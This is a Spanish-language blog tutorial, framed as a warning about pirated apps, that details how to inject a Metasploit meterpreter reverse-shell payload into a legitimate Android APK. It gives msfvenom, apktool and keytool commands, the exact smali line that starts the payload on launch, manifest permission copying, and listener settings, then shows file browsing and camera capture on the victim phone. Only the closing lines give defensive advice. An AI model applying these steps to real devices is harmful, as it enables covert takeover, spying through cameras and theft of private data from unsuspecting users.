APKs que no son lo que parecen

Los market de aplicaciones son la forma correcta de descargarse una aplicación que ha sido revisada para verificar que cumple una serie de requisitos y que no hace cosas malas. Pero muchas veces no encontramos el apk que necesitamos o simplemente es de pago. Entonces, dejamos ese market y buscamos por internet hasta encontrar páginas en las que te puedes descargar apks que eran de pago de forma gratuita… Pero a veces lo barato sale caro ya que sin darnos cuenta hemos instalado un apk que cumple con lo buscado pero estaba modificado y proporciona acceso a nuestro terminal. ¿Qué ha pasado? ¿Cómo han accedido a nuestro terminal?. Vamos a verlo a continuación…

Descarga del apk

Primeramente el atacante necesita un apk, ya sea creándolo, exportándolo de los instalados en el móvil o descargándolo de una web, sobre el cual vamos a inyectar de forma manual un payload que nos devuelva una consola de meterpreter. Nosotros vamos a optar por la tercera opción para facilitar las cosas. Para este ejemplo, accederemos a una página de descarga de apks y nos descargaremos un apk cualquiera, por ejemplo, un reloj despertador :

Generar el payload

Generaremos el payload a través de msfvenom con el comando msfvenom -p android/meterpreter/<tipo de shell> LHOST=<dirección ip> RPORT=<puerto que escucha> -o <nombre_payload>.apk . De esta forma crearemos un payload que lo que hará es conectarse, desde el móvil en el que se ha ejecutado, a la dirección ip que le hemos asignado en LHOST=XXX.XXX.XXX.XXX a través del puerto RPORT=XX :

Decompilando

Para lograr que este payload se ejecute, es necesario inyectarlo en el apk que nos hemos descargado anteriormente. Primeramente necesitamos decompilar el apk utilizando la herramienta apktool con el comando apktool d -f -o <ruta_decompilado> <ruta_apk>

Como segundo punto necesitamos decompilar el payload generado anteriormente a través de apktool de la misma forma que hemos hecho en el punto anterior:

Copiando los ficheros

Ya tenemos tanto el apk como el payload decompilados. ¿Y para qué hemos hecho esto?. Pues simplemente para copiar los ficheros del payload a la carpeta original del apk y copiar los permisos del fichero AndroidManifest.xml del payload al fichero AndroidManifest.xml del apk. Vamos a crear las carpetas /metasploit/stage en la ruta ./original/smali/com/ y copiaremos ahí los ficheros con extensión .smali que contengan la palabra payload :

Inyectando el payload

Ahora vamos a inyectar el payload en el código del fichero .smali del apk original de forma que cuando detecte una llamada a una función del sistema se ejecute. Editaremos el fichero AndroidManifest.xml del apk original y buscaremos el activity que se invoca cuando se ejecuta el apk . este activity será el que disponga de las propiedades android.intent.action.MAIN y android.intent.category.LAUNCHER :

Localizado el activity, copiaremos su nombre completo y buscaremos el fichero .smali en la ruta que indica su nombre, es decir, el nombre ar.com.basejuegos.simplealarm.Simplealarm será la ruta /ar/com/basejuegos/simplealarm/Simplealarm . Editado el fichero, localizamos la línea marcada en rojo:

Justo a continuación de esa línea, pegaremos el siguiente fragmento de código invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V tal y como se ve en la imagen:

Otorgando permisos

Aparte de la inyección, el éxito de la ejecución del payload depende también de los permisos de los que dispongamos. Para ello, vamos a copiar los permisos del fichero AndroidManifest.xml de nuestro payload y los vamos a copiar en el AndroidManifest.xml del apk original :

Recompilando el apk

Con todos los permisos necesarios en el fichero AndroidManifest.xml, guardamos el fichero y recompilamos el apk con el comando apktool b ./<ruta_del_apk> :

Firmando el apk

Un requisito indispensable para poder instalar el apk modificado en un dispositivo es necesario que esté firmado ya que si no no es posible instalarlo. Para firmar el apk generaremos una clave de depuración con el comando keytool -genkey -v -keystore <nombre_almacen>.keystore -alias <nombre_almacen> -keyalg RSA -keysize 2048 -validity 10000 :

Sólo nos queda autofirmar el apk con la clave generada en el punto anterior:

Esperando conexión

Para que se establezca la conexión y se abra una sesión, es necesario tener un proceso que esté escuchando en el puerto que indicamos en la creación del payload. Por lo tanto, abriremos Metasploit y utilizaremos el exploit denominado multi/handler , en el que asignaremos la dirección de nuestra máquina set LHOST 10.0.2.15 , el puerto en el que escucharemos set RPORT 4445 y lo ejecutamos, de forma que esté constantemente esperando por una conexión:

Conexión establecida

El usuario se ha descargado e instalado el apk de una página web no legítima (o cualquier otro medio posible). Como se puede apreciar en la siguiente imagen, accede al menú y ejecuta la aplicación:

 

 

Cada vez que el usuario ejecuta la aplicación, ejecuta también el payload, creando una nueva conexión contra la dirección ip y puerto que proporcionamos al principio. Como se observa a continuación, la conexión se establece y el usuario se encuentra dentro de nuestro sistema android:

 

 

Desde aquí son muchísimas las cosas que se podrían hacer, dependiendo de los permisos y muchas cosas más. Como ejemplo, podemos navegar por los directorios del móvil:

 

También podemos obtener información acerca de la versión de sistema operativo que está ejecutando:

También es posible listar las cámaras del dispositivo y tomar una captura de lo que está enfocando:

La captura tomada que se ha guardado en la ruta que se muestra en la imagen anterior es la siguiente:

Así que como buen consejo que os puedo dar, no os instaléis aplicaciones de sitios que aparentemente son muy agradables, ya que os la pueden colar sin daros cuenta.

Saludos.

Don’t give up, great things take time“.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *